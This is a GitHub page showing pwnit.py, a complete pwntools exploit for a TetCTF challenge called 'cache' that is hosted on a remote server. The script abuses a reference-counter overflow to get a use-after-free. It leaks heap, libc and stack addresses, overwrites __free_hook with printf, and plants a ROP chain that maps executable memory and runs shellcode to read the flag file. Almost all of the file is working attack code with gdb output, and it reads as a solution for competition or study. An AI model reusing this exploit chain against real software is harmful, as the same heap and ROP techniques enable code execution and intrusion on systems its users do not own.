-
Notifications
You must be signed in to change notification settings - Fork 14
/
Copy pathpwnit.py
executable file
·280 lines (257 loc) · 10.2 KB
/
pwnit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
#!/usr/bin/env python3
from pwn import *
def connect():
if args.LOCAL:
return gdb.debug(["./cache.dbg"], api=True)
else:
return remote("3.139.106.4", 27025)
FREE_HOOK_OFF = 0x1EEB28
PRINTF_OFF = 0x64E10
MMAP_OFF = 0x11BA20
READ_OFF = 0x111130
SHELLCODE = asm(
"""
mov rax, 2 /* __NR_open */
lea rdi, [rip + path]
mov rsi, 0 /* O_RDONLY */
syscall
mov rdi, rax
mov rax, 0 /* __NR_read */
lea rsi, [rip + buf]
mov rdx, buf_end - buf
syscall
mov rdx, rax
mov rax, 1 /* __NR_write */
mov rdi, 1 /* STDOUT_FILENO */
lea rsi, [rip + buf]
syscall
path: .asciz "/home/cache/flag"
buf: .org $ + 0x100
buf_end:
""",
arch="amd64",
)
def create_cache(tube, name, size):
tube.sendlineafter("> ", "1")
tube.sendlineafter("Cache name: ", name)
tube.sendlineafter("Size: ", str(size))
def read_from_cache(tube, name, offset, count):
tube.sendlineafter("> ", "2")
tube.sendlineafter("Cache name: ", name)
tube.sendlineafter("Offset: ", str(offset))
tube.sendlineafter("Count: ", str(count))
return tube.recvn(count)
def write_to_cache(tube, name, offset, data):
tube.sendlineafter("> ", "3")
tube.sendlineafter("Cache name: ", name)
tube.sendlineafter("Offset: ", str(offset))
tube.sendlineafter("Count: ", str(len(data)))
tube.sendafter("Data: ", data)
def erase_cache(tube, name):
tube.sendlineafter("> ", "4")
tube.sendlineafter("Cache name: ", name)
def duplicate_cache_times(tube, name, new_name, n):
aliases = []
req = ""
for i in range(n):
alias = "{}{}".format(new_name, i)
req += "5\n{}\n{}\n".format(name, alias)
aliases.append(alias)
tube.send(req)
for _ in range(n):
tube.recvuntil("> ")
tube.recvuntil("Source cache name: ")
tube.recvuntil("New cache name: ")
return aliases
SIZEOF_CACHE = 0x18
def main():
with connect() as tube:
if args.LOCAL:
tube.gdb.Breakpoint("alarm", temporary=True)
tube.gdb.continue_and_wait()
tube.gdb.execute("set $rdi = 9999")
tube.gdb.continue_nowait()
# BUG: Overflow reference counter.
# The victim cache will be freed into Tcachebins[idx=0, size=0x20].
# Make sure buffers go into a different one.
victim_name = "V" * 15
if args.LOCAL:
tube.gdb.interrupt_and_wait()
# cache::cache(size_t)
tube.gdb.Breakpoint("sub_345E", temporary=True)
tube.gdb.continue_nowait()
leak_size = 0x800
create_cache(tube, victim_name, leak_size)
if args.LOCAL:
tube.gdb.wait()
victim_addr = int(tube.gdb.parse_and_eval("$rdi"))
print("victim_addr = 0x{:x}".format(victim_addr))
print(tube.gdb.execute("heap bins", to_string=True))
tube.gdb.continue_nowait()
guard_name = "G" * 15
create_cache(tube, guard_name, 0x100)
victim_aliases = duplicate_cache_times(tube, victim_name, "V" * 12, 256)
if args.LOCAL:
tube.gdb.interrupt_and_wait()
# cache::release()
tube.gdb.Breakpoint("sub_369E", temporary=True)
print(tube.gdb.execute("x/3a 0x{:x}".format(victim_addr), to_string=True))
print(tube.gdb.execute("heap bins", to_string=True))
tube.gdb.continue_nowait()
erase_cache(tube, victim_aliases[0])
if args.LOCAL:
tube.gdb.wait()
assert int(tube.gdb.parse_and_eval("$rdi") == victim_addr)
victim_refcount = int(
tube.gdb.parse_and_eval("*(unsigned char *)0x{:x}".format(victim_addr))
)
assert victim_refcount == 1
victim_buf_expr = "*(unsigned long *)0x{:x}".format(victim_addr + 8)
gdb_victim_buf = int(tube.gdb.parse_and_eval(victim_buf_expr))
print("(gdb) victim_buf = 0x{:x}".format(gdb_victim_buf))
print(tube.gdb.execute("heap bins", to_string=True))
tube.gdb.continue_nowait()
leak = read_from_cache(tube, victim_name, 0, leak_size)
"""
00000080 b0 1e 97 ef cf 55 00 00 00 00 00 00 00 00 00 00 │····│·U··│····│····│
gef➤ x/2a 0x55cfef971ed0
0x55cfef971ed0: 0x55cfef975740 0x7f98ebacbbe0 <main_arena+96>
gef➤ vmmap
0x00007f98eb8e0000 0x00007f98eb905000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
"""
victim_buf = struct.unpack("<Q", leak[0x80:0x88])[0] + 0x20
print("victim_buf = 0x{:x}".format(victim_buf))
if args.LOCAL:
assert victim_buf == gdb_victim_buf
erase_cache(tube, guard_name)
if args.LOCAL:
tube.gdb.interrupt_and_wait()
print(tube.gdb.execute("heap bins", to_string=True))
tube.gdb.continue_nowait()
# Allocate an attacker cache, whose buffer overlaps the victim cache.
attacker_name = "A" * 15
if args.LOCAL:
tube.gdb.interrupt_and_wait()
# cache::cache(size_t)
tube.gdb.Breakpoint("sub_345E", temporary=True)
tube.gdb.continue_nowait()
create_cache(tube, attacker_name, SIZEOF_CACHE)
if args.LOCAL:
tube.gdb.wait()
attacker_addr = int(tube.gdb.parse_and_eval("$rdi"))
print("attacker_addr = 0x{:x}".format(attacker_addr))
tube.gdb.continue_nowait()
# Make the victim cache cover the entire address space.
write_to_cache(
tube, attacker_name, 0, struct.pack("<QQQ", 0, 0, 0xFFFFFFFFFFFFFFFF)
)
if args.LOCAL:
tube.gdb.interrupt_and_wait()
attacked_buf_expr = "*(unsigned long *)0x{:x}".format(attacker_addr + 8)
gdb_attacker_buf = int(tube.gdb.parse_and_eval(attacked_buf_expr))
print("(gdb) attacker_buf = 0x{:x}".format(gdb_attacker_buf))
print(tube.gdb.execute("x/3a 0x{:x}".format(victim_addr), to_string=True))
tube.gdb.continue_nowait()
# Get libc address.
(unsorted,) = struct.unpack(
"<Q", read_from_cache(tube, victim_name, victim_buf + 8, 8)
)
libc = unsorted - 0x1EBBE0
print("libc = 0x{:x}".format(libc))
assert libc & 0xFFF == 0
# free_hook = printf.
write_to_cache(
tube,
victim_name,
libc + FREE_HOOK_OFF,
struct.pack("<Q", libc + PRINTF_OFF),
)
# Get stack address.
u_name = "U" * 15
create_cache(tube, u_name, 0x1000)
stkidx2pos = 5
rbp_stackidx = 3
fmt = "rbp=<%{}$lx>".format(rbp_stackidx + stkidx2pos)
write_to_cache(tube, u_name, 0, fmt.encode() + b"\x00")
if args.LOCAL:
tube.gdb.interrupt_and_wait()
tube.gdb.execute("break printf if *(char *)$rdi == 'r'")
tube.gdb.continue_nowait()
erase_cache(tube, u_name)
if args.LOCAL:
tube.gdb.wait()
print(tube.gdb.execute("x/96a $rsp", to_string=True))
"""
0x7ffc7351e578: 0x55ea0cd88c13 <sub_3BEC+39> 0x55ea0ebb68f0
0x7ffc7351e588: 0x55ea0ebaeed8 0x7ffc7351e5c0
^^^^^^^^^^^^^^
0x7ffc7351e598: 0x55ea0cd888c7 <sub_387A+77> 0x7ffc7351e5e0
0x7ffc7351e5a8: 0x55ea0ebaeed8 0x7ffc7351e610
0x7ffc7351e5b8: 0x55ea0ebaeed8 0x7ffc7351e5e0
0x7ffc7351e5c8: 0x55ea0cd8869a <sub_367A+32> 0x55ea0ebaf920
...
0x7ffc7351e658: 0x55ea0cd88222 <main+88> 0x0
"""
tube.gdb.continue_nowait()
tube.recvuntil("rbp=<")
rbp = int(tube.recvuntil(">")[:-1], 16)
print("rbp = 0x{:x}".format(rbp))
retaddr = rbp + 0x98
print("retaddr = 0x{:x}".format(retaddr))
# Put the ROP chain at the location of return address to main().
# It will be triggered when we return to main() from the last write.
# mmap(addr@rdi, length@rsi, prot@rdx, flags@rcx, int fd@r8, offset@r9)
# read(fd@rdi, buf@rsi, count@rdx)
mmap_addr = 0x11110000
mmap_length = 0x1000
mmap_prot = 0x7 # PROT_READ | PROT_WRITE | PROT_EXEC
mmap_flags = 0x32 # MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS
mmap_fd = 0xFFFFFFFF
mmap_offset = 0
read_fd = 0 # STDIN_FILENO
read_buf = mmap_addr
read_count = mmap_length
rop = b"".join(
(
# 0x4a550: pop rax ; ret
# 0x1056fe: pop rcx ; pop rbx ; ret
struct.pack("<QQ", libc + 0x4A550, libc + 0x1056FE),
# 0x27529: pop rsi ; ret
struct.pack("<QQ", libc + 0x27529, mmap_offset),
# 0x81738: mov r9, rsi ; jmp rax
struct.pack("<Q", libc + 0x81738),
struct.pack("<QQ", mmap_flags, mmap_fd),
# 0x11fdaa : mov r8, rbx ; mov rax, r8 ; pop rbx ; ret
struct.pack("<QQ", libc + 0x11FDAA, 0),
# 0x162866: pop rdx ; pop rbx ; ret
struct.pack("<QQQ", libc + 0x162866, mmap_prot, 0),
# 0x27529: pop rsi ; ret
struct.pack("<QQ", libc + 0x27529, mmap_length),
# 0x26b72 : pop rdi ; ret
struct.pack("<QQ", libc + 0x26B72, mmap_addr),
struct.pack("<Q", libc + MMAP_OFF),
# 0x26b72 : pop rdi ; ret
struct.pack("<QQ", libc + 0x26B72, read_fd),
# 0x27529: pop rsi ; ret
struct.pack("<QQ", libc + 0x27529, read_buf),
# 0x162866: pop rdx ; pop rbx ; ret
struct.pack("<QQQ", libc + 0x162866, read_count, 0),
struct.pack("<Q", libc + READ_OFF),
struct.pack("<Q", read_buf),
)
)
write_to_cache(tube, victim_name, retaddr, rop)
if args.LOCAL and False:
# Debug shellcode.
tube.gdb.interrupt_and_wait()
tube.gdb.execute("b *0x{:x}".format(libc + READ_OFF))
tube.gdb.continue_nowait()
# Avoid sending shellcode alongside ROP, since std::cin may buffer it.
time.sleep(1)
# Send shellcode.
tube.send(SHELLCODE)
# TetCTF{https://www.youtube.com/watch?v=RYhKUKzD6IQ}
# mobi: *100*931583613352#
tube.interactive()
if __name__ == "__main__":
main()